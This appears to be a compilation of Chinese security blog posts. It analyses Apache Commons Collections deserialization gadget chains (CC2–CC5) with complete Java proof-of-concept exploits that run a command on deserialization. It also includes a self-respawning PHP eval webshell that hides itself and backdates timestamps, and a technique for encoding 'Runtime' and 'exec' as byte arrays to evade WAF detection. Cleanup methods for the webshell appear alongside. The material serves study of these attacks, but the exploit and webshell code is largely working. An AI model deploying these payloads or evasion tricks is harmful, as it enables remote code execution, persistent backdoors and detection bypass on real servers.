import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC5 {
public static void main(String[] args) throws ClassNotFoundException, IllegalAccessException, NoSuchFieldException {

Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);

Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);

TiedMapEntry tiedmap = new TiedMapEntry(outerMap,123);
BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(poc,tiedmap);

try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc5.bin"));
outputStream.writeObject(poc);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc5.bin"));
inputStream.readObject();
}catch(Exception e) {
e.printStackTrace();
}
}
}

代码1

1
2
3
4
5
6
7
8
9
10
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);

Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);

这一部分和CC1中LazyMap链一样,只要调用了LazyMap.get(),就可以触发ChainedTransformer.transform(),进而对transformers数组进行回调,然后执行命令。
代码2

1
2
3
4
5
TiedMapEntry tiedmap = new TiedMapEntry(outerMap, 123);
BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(poc,tiedmap);

TiedMapEntry.getValue()调用了get(),参数map是可控的;
图片

所以实例化TiedMapEntry类,将outerMap传进去,第二个参数可以随便填,用来占位;

接着,toString()方法又调用了getValue()方法

图片

继续找哪里调用了toString()方法;

BadAttributeValueExpException.readObject()调用了toString()方法

图片

valObj是从gf中的val参数获取的,而gf又是从反序列化流中读取的;

所以,相当于控制了val参数,就控制了valObj,这里就通过反射给val赋为TiedMapEntry类的实例化对象;

即调用了TiedMapEntry.toString(),这样就满足了命令执行需要的所以条件

下面解释一些细节的问题:

  • 为什么创建BadAttributeValueExpException实例时不直接将构造好的TiedMapEntry传进去而要通过反射来修改val的值?
    以下为BadAttributeValueExpException的构造方法
1
2
3
public BadAttributeValueExpException (Object val) {
this.val = val == null ? null : val.toString();
}

可以发现,如果我们直接将前面构造好的TiedMapEntry传进去,在这里就会触发toString,从而导致rce。此时val的值为UNIXProcess,这是不可以被反序列化的,所以我们需要在不触发rce的前提,将val设置为构造好的TiedMapEntry。否则就会报出下边的错误
图片

内存马原理:

php内存马即不死马。简单来说就是写进php进程里,不断在指定目录生成木马文件

生成过程

不死马.php → 上传到服务器 → 服务器执行文件 → 服务器本地循环不断生成一句话木马

不死马

初代

1
2
3
4
5
6
7
8
9
10
11
12
<?php 
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '2.php';
$code = '<?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72"){@eval($_POST[a]);} ?>';
while (1){
    file_put_contents($file,$code);
    system('touch -m -d "2021-8-11 12:45:00" . 2.php');
    usleep(5000);

?>
  1. ignore_user_abort(true);函数设置与客户机断开是否会终止脚本的执行。这里设置为true则忽略与用户的断开,即使与客户机断开脚本仍会执行。
  2. set_time_limit()函数限制脚本的执行时间(如设置5则需在5秒内执行完)。这里设置为0是指没有时间限制。
  3. unlink(FILE)删除文件本身,以起到隐蔽自身的作用。
  4. while循环内每隔usleep(5000)即写新的后门文件
  5. system()执行的命令用于修改文件的创建或修改时间,touch新建一个不存在的文件,-m仅修改时间,-d使用想要修改的时间而不是当时的时间,可以绕过“find –name ‘*.php’ –mmin -10”命令检测最近10分钟修改或新创建的PHP文件,但不一定有用,可选。
  6. md5算是混淆,也是防止直接被别人利用
    这里while 里面只是并没有判断了这个文件是不是存在,那么我只需要把这个文件中的 shell 注释掉就可以绕过这个内存木马了。

修改后

1
2
3
4
5
6
7
8
9
10
11
12
<?php
 ignore_user_abort(true);
 set_time_limit(0);
 $file = 'c.php';
 $code = base64_decode('PD9waHAgZXZhbCgkX1BPU1RbY10pOz8+');
 while(true) {
     if(md5(file_get_contents($file))===md5($code)) {
         file_put_contents($file, $code);
     }
     usleep(50);
 }
?>

对加密的一句话木马进行解密,可防止通过命令搜索,while中md5加密后直接执行一句话木马的编写

查杀方法

1.重启服务

众所周知,重启能解决90%的问题,内存马也是存在于进程之中,所以条件允许的话直接重启服务便是了

2.占用目录名

删除并重新创建一个和不死马要生成的马名字一样的路径及文件

3.kill

ps aux 列出所有进程,找到要杀掉的进程运用命令

kill -9 -1 进程名  9:杀死一个进程 1:重新加载进程

4.竞争删除一句话木马

编写一个使用ignore_user_abort(true)函数的脚本,一直竞争写入删除不死马文件,其中usleep()的时间必须要小于不死马的usleep()时间才会有效果

1
2
3
4
5
6
7
8
9
10
<?php
ignore_user_abort(true);
set_time_limit(0);
while (1) {
    $pid = 不死马的进程PID;
    @unlink(".1.php");
    exec("kill -9 $pid");
    usleep(1000);
    }
?>

前言

CC4相当于是CC2和CC3的结合,只要熟悉前面几条链了,这条链也就很容易看懂了;

CC4和CC2一样是通过调用TransformingComparator.compare()来实现transform()的调用;

和CC3一样是通过实例化TrAXFilter类,然后调用它的构造方法,进而实现newTransformer()的调用

利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ObjectInputStream.readObject()
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
ChainedTransformer.transform()
ConstantTransformer.transform()
InstantiateTransformer.transform()
newInstance()
TrAXFilter#TrAXFilter()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses
newInstance()
Runtime.exec()

POC分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.*;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CC4 {
public static void main(String[] args) throws Exception {

ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
cc.writeFile();
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};

TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCodes);
setFieldValue(templates, "_name", "name");
setFieldValue(templates, "_class", null);

Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};
ChainedTransformer transformerChain = new ChainedTransformer(transformers);

TransformingComparator Tcomparator = new TransformingComparator(transformerChain);
PriorityQueue queue = new PriorityQueue(1);

Object[] queue_array = new Object[]{templates,1};
Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
queue_field.setAccessible(true);
queue_field.set(queue,queue_array);

Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
size.setAccessible(true);
size.set(queue,2);



Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
comparator_field.setAccessible(true);
comparator_field.set(queue,Tcomparator);

try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc4"));
outputStream.writeObject(queue);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc4"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}

public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}

public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
}

代码1
使用javassit创建一个类,这个类中包含static代码块,其中包含恶意命令执行代码,只要实例化这个类,就会执行static中的代码;

最后把该类转换为字节码存到targetByteCodes数组中;

1
2
3
4
5
6
7
8
9
10
11
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
cc.writeFile();
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};

代码2
实例化一个 TemplatesImpl类对象,给一些参数赋值,赋值原因CC2中说明了原因;

1
2
3
4
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCodes);
setFieldValue(templates, "_name", "name");
setFieldValue(templates, "_class", null);

代码3
TrAXFilter.class传给ConstantTransformer,那么就会返回TrAXFilter类,然后传给InstantiateTransformer,在InstantiateTransformer类中就会实例化TrAXFilter类,然而调用它的构造方法,进而调用newTransformer()方法,从而实现命令执行;

1
2
3
4
5
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};
ChainedTransformer transformerChain = new ChainedTransformer(transformers);

图片

图片

代码4

实例化一个TransformingComparator对象,将transformer传进去;

实例化一个PriorityQueue对象,传入不小于1的整数,comparator参数就为null;

1
2
TransformingComparator Tcomparator = new TransformingComparator(transformerChain);
PriorityQueue queue = new PriorityQueue(1);

代码5
新建一个对象数组,第一个元素为templates,第二个元素为1;

然后通过反射将该数组传到queue中;

1
2
3
4
Object[] queue_array = new Object[]{templates,1};
Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
queue_field.setAccessible(true);
queue_field.set(queue,queue_array);

代码6
通过反射将queue的size设为2,因为在PriorityQueue.heapify()中,size的值需要大于1才能进入下一步;(CC2中有说到)

1
2
3
Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
size.setAccessible(true);
size.set(queue,2);

图片

代码7

通过反射给queue的comparator参数赋值,从而调用到compare()方法,实现transform()的调用;

1
2
3
Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
comparator_field.setAccessible(true);
comparator_field.set(queue,Tcomparator);

POC调试

还是从PriorityQueue.readObject()开始;

queue[]里面是我们传入的TemplatesImpl类的实例化对象和整数1

图片

跟进heapify(),size值为2;

图片

跟进siftDown,comparator参数不为null

图片

跟进siftDownUsingComparator,调用了compare()

图片

跟进compare()obj1就是传入的templates,this.transformerChainedTransformer的实例化对象,也就是调用了ChainedTransformer.transform()

图片

跟进ChainedTransformer.transform(),进入循坏;

第一轮iTransformer参数值为ConstantTransformer,即调用了ConstantTransformer.transform()

图片

跟进ConstantTransformer.transform()iConstant参数值为传入的TrAXFilter.class,即返回了TrAXFilter

图片

回到ConstantTransformer.transform()进入第二轮循环,这次的iTransformer参数值为InstantiateTransformer,object参数值为TrAXFilter

图片

跟进InstantiateTransformer.transform(),返回TrAXFilter类对象

图片

在实例化TrAXFilter类时,调用了它的构造方法,其中调用了templates.newTransformer()

图片

前言

仔细分析过CC1和CC2来看CC3就会好容易理解一点

利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InstantiateTransformer.transform()
newInstance()
TrAXFilter#TrAXFilter()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses
newInstance()
Runtime.exec()

前置知识

cc2里我们需要通过TemplatesImpl#newTransformer来实现命令执行,在cc2里使用的是InvokerTransformer来反射调用newTransformer。而cc3中则是通过TrAXFilter这个类的构造方法来调用newTransformer

CC3中会用到两个新的类,这里先介绍一下:

TrAXFilter

图片

图片

在该类的构造方法中,调用了传入参数的newTransformer()方法,看到这个方法有点熟悉了,可以实现命令执行,并且参数可控;

CC2中,就是在InvokerTransformer.transform()中通过反射调用TemplatesImpl.newTransformer()方法,而CC3中,就可以直接使用TrAXFilter来调用newTransformer()方法

InstantiateTransformer

该类实现了TransformerSerializable接口

图片

在它的transform()方法中,判断了input参数是否为Class,若是Class,则通过反射实例化一个对象并返回;

图片

POC分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
package blckder02;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

public class CC3 {
public static void main(String[] args) throws Exception {

//使用Javassit新建一个含有static的类
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
cc.writeFile();
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};

//补充实例化新建类所需的条件
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCodes);
setFieldValue(templates, "_name", "blckder02");
setFieldValue(templates, "_class", null);

//实例化新建类
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer transformerChain = new ChainedTransformer(transformers);

//调用get()中的transform方法
HashMap innermap = new HashMap();
LazyMap outerMap = (LazyMap)LazyMap.decorate(innermap,transformerChain);

//设置代理,触发invoke()调用get()方法
Class cls1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = cls1.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler1 = (InvocationHandler) construct.newInstance(Retention.class, outerMap);

Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler1);

InvocationHandler handler2 = (InvocationHandler)construct.newInstance(Retention.class, proxyMap);

try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc3.bin"));
outputStream.writeObject(handler2);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc3.bin"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}

}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}

public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
}

代码1

1
2
3
4
5
6
7
8
9
10
11
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
cc.writeFile();
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};

使用javassit创建一个类,这个类中包含static代码块,其中包含命令执行代码,只要实例化这个类,就会执行static中的代码;
最后把该类转换为字节码存到targetByteCodes数组中;

代码2

1
2
3
4
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCodes);
setFieldValue(templates, "_name", "blckder02");
setFieldValue(templates, "_class", null);

实例化一个 TemplatesImpl类对象,给一些参数赋值,赋值原因CC2中说明了原因;
代码3

1
2
3
4
5
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer transformerChain = new ChainedTransformer(transformers);

这里有一些不一样,将TrAXFilter.class传给ConstantTransformer,那么就会返回TrAXFilter类,然后传给InstantiateTransformer,在InstantiateTransformer类中就会实例化TrAXFilter类,然而调用它的构造方法,进而调用newTransformer()方法,从而实现命令执行;
然后就是要找到调用ChainedTransformer.transform()的地方,才能对transformers 数组进行回调

代码4

1
2
HashMap innermap = new HashMap();
LazyMap outerMap = (LazyMap)LazyMap.decorate(innermap,transformerChain);

new了一个LazyMap的对象,LazyMap的get()方法调用了transform()方法,factory参数就是传入的transformerChain,达到了代码3的条件;
图片

接着就是要找一个调用get()的地方,

代码5

1
2
3
4
5
6
7
8
Class cls1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = cls1.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler1 = (InvocationHandler) construct.newInstance(Retention.class, outerMap);

Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler1);

InvocationHandler handler2 = (InvocationHandler)construct.newInstance(Retention.class, proxyMap);

这里看过p神的文章应该挺熟悉的

  • 我们如果将AnnotationInvocationHandler对象用Proxy进行代理,那么在readObject的时候,只要调用任意方法,就会进入到AnnotationInvocationHandler#invoke方法中,进而触发我们的LazyMap#get
    AnnotationInvocationHandler是调用处理器,outerMap是被代理的对象,只要调用了LazyMap中的任意方法,就会触发AnnotationInvocationHandler中的invoke方法;

而在readObject方法中调用了entrySet()方法,所以触发invoke

图片

在invoke方法中就调用了get方法

图片

这样就基本上达到了执行命令所需要的条件

POC调试

this.memberValues参数值为LazyMap,调用了它的entrySet方法,触发到invoke方法;

图片

跟进get方法,factory参数为ChainedTransformer的实例化对象,这里调用了它的transform方法

图片

跟进到ChainedTransformer.transform(),对transformers[]数组进行循环

图片

跟进它的transform方法,input参数值为TrAXFilteriParamTypes参数值为TemplatesiArgs参数值为TemplatesImpl的实例化对象templates,return了TrAXFilter类对象

图片

getConstructor(iParamTypes)获取它参数为Templates类的构造方法时,调用了TransformerImpl的newTransformer()

图片

跟进newTransformer(),调用了getTransletInstance()方法

图片

跟进,_name参数值为我们传入的blckder02,进入第二个if,_class参数值为null,_bytecodes参数值为用javassit创建的类的字节码;

最后实例化_class[_transletIndex]

图片

执行static中的代码

0x00 前言#

了解一下Javassist具体的作用。在CC2链会用到Javassist以及PriorityQueue来构造利用链

0x01 Javassist 介绍#

Java 字节码以二进制的形式存储在 class 文件中,每一个 class 文件包含一个 Java 类或接口。Javaassist 就是一个用来处理 Java 字节码的类库。

Javassist是一个开源的分析、编辑和创建Java字节码的类库。

0x02 Javassist 使用#

这里主要讲一下主要的几个类:

ClassPool#

ClassPool:一个基于哈希表(Hashtable)实现的CtClass对象容器,其中键名是类名称,值是表示该类的CtClass对象(HashtableHashmap类似都是实现map接口,hashmap可以接收null的值,但是Hashtable不行)。

常用方法:#

1
2
3
4
5
6
7
8
9
10
11
12
13
14
static ClassPool	getDefault()
返回默认的类池。
ClassPath insertClassPath(java.lang.String pathname)
在搜索路径的开头插入目录或jar(或zip)文件。
ClassPath insertClassPath(ClassPath cp)
ClassPath在搜索路径的开头插入一个对象。
java.lang.ClassLoader getClassLoader()
获取类加载器toClass(),getAnnotations()在 CtClass等
CtClass get(java.lang.String classname)
从源中读取类文件,并返回对CtClass 表示该类文件的对象的引用。
ClassPath appendClassPath(ClassPath cp)
将ClassPath对象附加到搜索路径的末尾。
CtClass makeClass(java.lang.String classname)
创建一个新的public类

CtClass#

CtClass表示类,一个CtClass(编译时类)对象可以处理一个class文件,这些CtClass对象可以从ClassPoold的一些方法获得。

常用方法:#

1
2
3
4
5
6
7
8
9
10
11
12
void	setSuperclass(CtClass clazz)
更改超类,除非此对象表示接口。
java.lang.Class<?> toClass(java.lang.invoke.MethodHandles.Lookup lookup)
将此类转换为java.lang.Class对象。
byte[] toBytecode()
将该类转换为类文件。
void writeFile()
将由此CtClass 对象表示的类文件写入当前目录。
void writeFile(java.lang.String directoryName)
将由此CtClass 对象表示的类文件写入本地磁盘。
CtConstructor makeClassInitializer()
制作一个空的类初始化程序(静态构造函数)。

CtMethod#

CtMethod:表示类中的方法。

CtConstructor#

CtConstructor的实例表示一个构造函数。它可能代表一个静态构造函数(类初始化器)。

常用方法#

1
2
3
4
5
6
void	setBody(java.lang.String src)	
设置构造函数主体。
void setBody(CtConstructor src, ClassMap map)
从另一个构造函数复制一个构造函数主体。
CtMethod toMethod(java.lang.String name, CtClass declaring)
复制此构造函数并将其转换为方法。

ClassClassPath#

该类作用是用于通过 getResourceAsStream() 在 java.lang.Class 中获取类文件的搜索路径。

构造方法:

1
2
ClassClassPath(java.lang.Class<?> c)	
创建一个搜索路径。

常见方法:#

1
2
3
4
java.net.URL	find (java.lang.String classname)	
获取指定类文件的URL。
java.io.InputStream openClassfile(java.lang.String classname)
通过获取类文getResourceAsStream()。

代码实例:#

1
ClassPool pool = ClassPool.getDefault();

在默认系统搜索路径获取ClassPool对象。
如果需要修改类搜索的路径需要使用insertClassPath方法进行修改。

1
pool.insertClassPath(new ClassClassPath(this.getClass()));

将本类所在的路径插入到搜索路径中

toBytecode#

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package com.demo;

import javassist.*;



import java.io.IOException;
import java.util.Arrays;

public class testssit {
public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(demo.class.getClass()));
CtClass ctClass = pool.get("com.demo.test");
ctClass.setSuperclass(pool.get("com.demo.test"));
// System.out.println(ctClass);
byte[] bytes = ctClass.toBytecode();
String s = Arrays.toString(bytes);
System.out.println(s);
}

}

toClass#

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Hello类:
public class Hello {
public void say() {
System.out.println("Hello");
}
}
Test 类
public class Test {
public static void main(String[] args) throws Exception {
ClassPool cp = ClassPool.getDefault();//在默认系统搜索路径获取ClassPool对象。
CtClass cc = cp.get("com.demo.Hello"); //获取hello类的
CtMethod m = cc.getDeclaredMethod("say"); //获取hello类的say方法
m.insertBefore("{ System.out.println(\"Hello.say():\"); }");//在正文的开头插入字节码
Class c = cc.toClass();//将此类转换为java.lang.Class对象
Hello h = (Hello)c.newInstance(); //反射创建对象并进行强转
h.say();调用方法say
}
}

0x03 一些小想法#

按照以上的操作理解就是去将类和字节码进行互相转换,对应这个操作我首先想到的可能就是webshell的一些免杀,例如说Jsp的最常见的一些webshell,都是采用RuntimeProcessBuilder这两个类去进行构造,执行命令。按照WAF的惯性这些设备肯定是把这些常见的执行命令函数给拉入黑名单里面去。那么如果说可以转换成字节码的话呢?字节码肯定是不会被杀的。如果说这时候将Runtime这个类转换成字节码,内嵌在Jsp中,后面再使用Javassist来将字节码还原成类的话,如果转换的几个方法没被杀的话,是可以实现过WAF的。当然这些也只是我的一些臆想,因为Javassist并不是JDK中自带的,实现的话后面可以再研究一下。但是类加载器肯定是可以去加载字节码,然后实现执行命令的。这里只是抛砖引玉,更多的就不细说了。

0x04 想法实现#

动态传入参数那能想到的肯定是反射。如果我们用上面的思路,把全部代码都转换成字节码的话,其实就没有多大意义了。因为全是固定死的东西,他也只会执行并且得到同一个执行结果。

这里能想到的就是将部分在代码里面固定死的代码给转换成字节码,然后再使用反射的方式去调用。

1
2
3
4
5
6
7
8
9
10
11
public class test {
public static void main(String[] args) {
String string ="java.lang.Runtime";
byte[] bytes1 = string.getBytes();
System.out.println(Arrays.toString(bytes1));




}
}

获取结果:

1
[106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 80, 114, 111, 99, 101, 115, 115, 73, 109, 112, 108]

接着将字节码还原成string
使用bytes去构造一个新的String

代码:

1
2
3
4
5
6
7
public class test {
public static void main(String[] args) {
byte[] bytes = new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101};
String s = new String(bytes);
System.out.println(s);
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public class test {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {
        byte[] b1 = new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101};
        String run = new String(b1);
        String command = "ipconfig";



        Class aClass = Class.forName(run);
        Constructor declaredConstructor = aClass.getDeclaredConstructor();
        declaredConstructor.setAccessible(true);
        Object o = declaredConstructor.newInstance();
        Method exec = aClass.getMethod("exec", String.class);
        Process process = (Process) exec.invoke(o,command);
        InputStream inputStream = process.getInputStream();    //获取输出的数据
        String ipconfig = IOUtils.toString(inputStream,"gbk"); //字节输出流转换为字符
        System.out.println(ipconfig);
    }
}

命令执行成功。
那么这就是一段完整的代码,但是还有些地方处理得不是很好,比如:

1
Method exec = aClass.getMethod("exec", String.class);

这里是反射获取exec方法,这里的exec是固定的。exec这个对于一些设备来说也是严杀的。
那么在这里就可以来处理一下,也转换成字节码。

转换后的字节码:

1
[101, 120, 101, 99]

改进一下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public class test {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {
String command = "ipconfig";
byte[] b1 = new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101};
String run = new String(b1);
byte[] b2 = new byte[]{101, 120, 101, 99};
String cm = new String(b2);




Class aClass = Class.forName(run);
Constructor declaredConstructor = aClass.getDeclaredConstructor();
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance();
Method exec = aClass.getMethod(cm, String.class);
Process process = (Process) exec.invoke(o,command);
InputStream inputStream = process.getInputStream(); //获取输出的数据
String ipconfig = IOUtils.toString(inputStream,"gbk"); //字节输出流转换为字符
System.out.println(ipconfig);

}
}

前言

CC2这条链在后面几条链中还会用到,详细的写一下

利用链

1
2
3
4
5
6
7
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

利用链1分析

跟着利用链,首先看看PriorityQueue.readObject()

图片

这里的queue[i]是从readObject得到的,再看看writeObject

图片

writeObject中依次将queue[i]进行序列化,那么我们通过反射实例化PriorityQueue类的对象,给queue[i]赋值,就实现了对queue[i]的控制。

最后调用了heapify方法,跟进:

图片

i>=0时进入for循环,而i=(size >>> 1) -1将size进行了右移操作,所以size>1才能进入循环。

再跟进siftDown方法

图片

x就是queue[i],跟进siftDownUsingComparator方法:

图片

重点在comparator.compare(x, (E) c)

跟进可以看到Comparator是一个接口,compare是它的抽象方法;

图片

